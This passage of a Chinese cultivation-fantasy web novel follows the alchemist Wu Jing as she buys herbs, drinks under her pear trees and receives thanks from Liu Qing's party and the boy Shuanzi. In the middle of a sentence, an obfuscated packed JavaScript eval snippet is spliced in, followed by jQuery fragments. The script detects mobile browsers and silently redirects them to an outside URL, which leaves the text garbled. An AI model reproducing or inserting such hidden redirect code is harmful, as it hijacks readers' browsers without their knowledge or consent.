中品生肌丹药材!这意味着什么?意味着这位年轻的丹师,已经不满足于下品丹的稳定产出,开始向更高阶的丹药发起挑战了!一旦成功……掌柜仿佛看到了源源不断的中品丹药和更加丰厚的利润在向他招手。
他脸上的笑容瞬间变得更加热切真诚,腰杆都不自觉地挺直了些,声音里充满了力量:“没问题!绝对没问题!吴道友有志精进,小店必定全力支持!这一百份中品丹药材,老朽亲自为您挑选,保证每一株都是精品中的精品!价格方面,也定给道友最大的优惠!”
接下来的事情便顺理成章。验丹、计价、核算药材费用、交割灵石。
从济世轩满载而归,怀揣着足以支撑数月练习的药材,吴璟心中踏实。既然出来了,昨日未能品尝的灵酒灵食,今日一定要尝一尝!
她不再步行,施展轻身术,身形轻灵如羽,不多时便出了百工街。
因此,并未注意到,街对角一处卖杂货的摊子阴影里,一只灰褐色的小猴正懒洋洋地蹲着,赤红的眼珠透过人群缝隙,无声地目送着她离去。
吴璟踏入醉仙居,目光下意识地在往来穿梭、笑脸迎客的酒童中间寻找,却没有找到那个熟悉的、带着点机灵劲儿的小小身影。
她随手拦住一个端着空托盘经过的年轻酒童,问道:“请问,栓子今日不在么?”
那酒童打量了她一眼,见是位气质沉静的女修,便也客气地答道:“栓子啊,他今日没抓中阄,在家歇着呢。”见吴璟眼中似有疑惑,他撇了撇嘴,语气里带着点同为竞争者的复杂情绪,低声道,“咱们醉仙居的差事,多少人眼红着呢,没点门路根本进不来。店里就要这么些人,可想来的人多了去,掌柜的便定了规矩,每日开工前抓阄,抓到‘上’字的才能来。运气好能连着来,运气不好……就像栓子今天,就只能在家干等着,看别人挣钱呗。”
原来如此。吴璟恍然,对散修底层生存的细微规则又多了分了解。她向酒童道了谢,依旧按昨日栓子推荐的那些,点了春风醉、竹叶青、水晶灵蹄冻、酥炸银线鱼和灵菇煨笋,只各要了一份。打包妥当后,她便提着食盒离开了这繁华喧嚷之地。
回到安居阁小院,关上禁制,将外界的喧嚣彻底隔绝。吴璟没有急着进屋,而是信步来到了后院。
午后的阳光暖融融地洒在院中,两株棠梨开得正盛,洁白如雪的花朵簇满枝头,在日光下泛着柔和的莹润光泽。微风轻拂,便有几片纤薄的花瓣打着旋儿轻轻飘落,带着清雅的淡香。
吴璟在棠梨树下寻了块平整的石头坐下,从储物手镯里取出一壶温润的春风醉,又拿出两个干净的玉杯。她斟满一杯,自己轻轻抿了一口,清甜微辛的酒液滑入喉间,带来暖洋洋的惬意。又将另一杯缓缓倾倒在两株棠梨的根部,看着酒液迅速渗入黝黑的土壤。
“来,小棠梨,也请你们喝一杯。”她对着沉默的树木,开始了无人回应的絮语,声音里带着微醺的酒意和彻底的放松。
“今天去济世轩了,那掌柜啊,热情得都快把我夸成一朵花了……”她嗤嗤低笑,指尖无意识地转动着酒杯,“说我天赋卓绝,进展神速……我知道他是想留住我这个‘送财童女’。” 她用上了掌柜对她的戏称,语气里并无恼怒,反而有种看透后的莞尔。
“不过……他人好像,也没那么糟?药材给的确实好,价格也算公道……嗝,”她轻轻打了个小酒嗝,脸颊染上淡淡的红晕,眼神有些迷蒙,“是我太警惕了么……离了家,总担心旁人欺我单薄……”
她晃了晃脑袋,像是要把这些过于紧绷的念头甩出去,又喝了一口酒,声音更低更软:“昨天在醉仙居……用烈阳丹,救了一个女修,我就两粒烈阳丹,仅剩的一粒,只能留着我自己用,不可辜负母亲……我又遇见栓子了,好似没跟你们讲过,栓子啊,一个小男孩,与他爷爷相依为命……”
春风醉度数不高,但后劲绵长。一壶酒慢慢见底,吴璟只觉得四肢百骸都暖洋洋、懒洋洋的,心头那些关于修炼、资源、潜在危机的沉重思虑,都被这暖意和微醺暂时熨平了。她眉眼舒展,靠在粗糙的树干上,望着从棠梨枝桠缝隙里漏下的细碎阳光,眼神迷离。
“好……好喝吧?”似在问棠梨,又似是自言自语,“还有……一壶竹叶青呢……咱们……过两天再喝……”
酒意彻底上涌,她扶着树干慢慢站起身,脚步略显虚浮,摇摇晃晃地走回正屋。踢掉鞋子,外衫随意搭在椅背上,便一头栽进柔软蓬松的被褥里。
鼻尖萦绕着被阳光晒过的、干净温暖的气息,混合着一点点未散的、清甜的春风醉酒香。几乎是眼皮合上的瞬间,意识便沉入了无边黑暗与安宁之中。
一夜无梦。
翌日清晨,金灿灿的阳光,慷慨地透过窗棂,在室内投下明亮温暖的光斑,甚至有些晃眼。吴璟在暖意中醒来,散漫地伸了个大大的懒腰,骨骼发出一连串脆脆轻响。
“啊~好舒服啊!”她拥着柔软的被褥,将脸埋进去蹭了蹭,满足地喟叹一声。昨日的微醺早已消散,只剩下睡足后的神清气爽。
她精神抖擞地起床,用清凉的井水洗漱,冰凉的水意激得皮肤微微战栗,更添几分清醒。推开窗,带着草木清香的晨风扑面而来,让她心情大好。
她朝着后院的方向,声音清亮地、带着毫不掩饰的愉悦喊了一句:
“小棠梨,早上好呀!”
也不管沉默的树木能否听懂,她自己先被这简单的问候和满室的明媚晨光逗乐了,嘴角噙着笑,眉眼弯弯。
转身,快快乐乐的一头钻进了修炼室,掩上房门。地上聚灵阵的纹路随着她的心意依次亮起柔和微光,室内灵气开始缓缓汇聚。
新的一天,从雷打不动的功课开始。
这日,吴璟刚结束一炉固元丹的炼制,额角微汗,心中充满了丹成的喜悦。她推开丹室的门,还未走到院中,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143102|190509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见一点微光自天际飞来,轻盈地悬停在她面前——是一张叠成小巧纸鹤模样的传讯符。
指尖轻触,纸鹤展开,柳姨声音温和,带着一丝大病初愈后特有的虚弱,言词恳切:
“恩人姑娘在上。在下柳青携青柳小队赵铁、阿秀、林风,拜谢姑娘救命大恩。姑娘所赐神丹,药效非凡,沉疴尽去,已无大碍。此恩天高地厚,无以为报。今日备了些许山野粗物,聊表寸心,万不敢称谢礼。不知可否冒昧叨扰,当面拜谢姑娘,亲口道一声感激?万望姑娘允准。”
其姿态放得极低,没有强求,只有小心翼翼的恳请。
吴璟捏着已灵力散尽的符纸,站在院中阳光下,稍有犹豫。她素来不喜与外人有过多牵扯,更不习惯这般郑重的感恩场面。但柳青语气中的诚挚,终究让她心软。
也罢,见一见吧。
她指尖灵力微吐,传讯符化作细碎光点消散,算是给了回应。
下午,日头西斜,小院被笼罩在一片静谧的暖光里。就在吴璟于堂屋煮好一壶清茶时,院门外响起了三声清晰的、间隔均匀的敲门声——“叩、叩、叩”。不疾不徐,力道适中,透着十足的礼貌与克制。
吴璟起身,走到院门前,亲手撤去禁制,打开了门。
门外站着四人。为首的正是柳青,她气色比那日好了太多,虽然身形依旧清瘦,脸色还有些苍白,但眼神清亮,脊背挺直,穿着一身浆洗得有些发白却十分整洁的青色布裙。她身后,是那日见过的黝黑汉子赵铁,换上了一身相对齐整的短打,神情肃穆。女伴阿秀,是个面容秀气、眼神温和的年轻女子。还有一个看起来不到二十、眉眼间带着些跳脱却努力做出沉稳模样的少年林风。
在四人侧后方,站着一个约莫十岁左右、身形瘦小却眼神明亮机灵的小男孩,正是醉仙居的酒童栓子。他今日显然特意收拾过,穿着一身虽旧但干净的短褂,小脸上带着紧张和激动的红晕,手里紧紧抱着一个小布包,见到吴璟开门,眼睛瞬间亮得像星星。
四人一见吴璟开门,立刻齐刷刷地拱手,深深一揖:“拜见恩人姑娘!”
栓子也连忙有样学样,笨拙却认真地跟着躬身作揖,声音清脆响亮:“栓子拜见姐姐!”
柳青直起身,脸上带着感激又有些局促的笑容:“冒昧前来,打扰姑娘清静了。恩人姑娘,这是栓子,这孩子听说是来拜谢您,说什么也要跟着来,说您……您也是他的救命恩人。”
栓子用力点头,迫不及待地上前半步,仰着小脸,眼里满是真诚的敬慕:“姐姐!断肠峪遇袭,多亏了您给的云纹小盾,我和爷爷才能躲过一劫!我一直想找姐姐道谢,可不知道姐姐住哪儿……后来在酒楼又遇见姐姐救了柳姨,我就更想来了!今天柳姨他们来,我求了好久才让带的!”他语速飞快,带着孩子气的急切,生怕吴璟不信。
吴璟看着栓子亮晶晶的眼睛,心中微软。她侧身,将五人引至堂屋。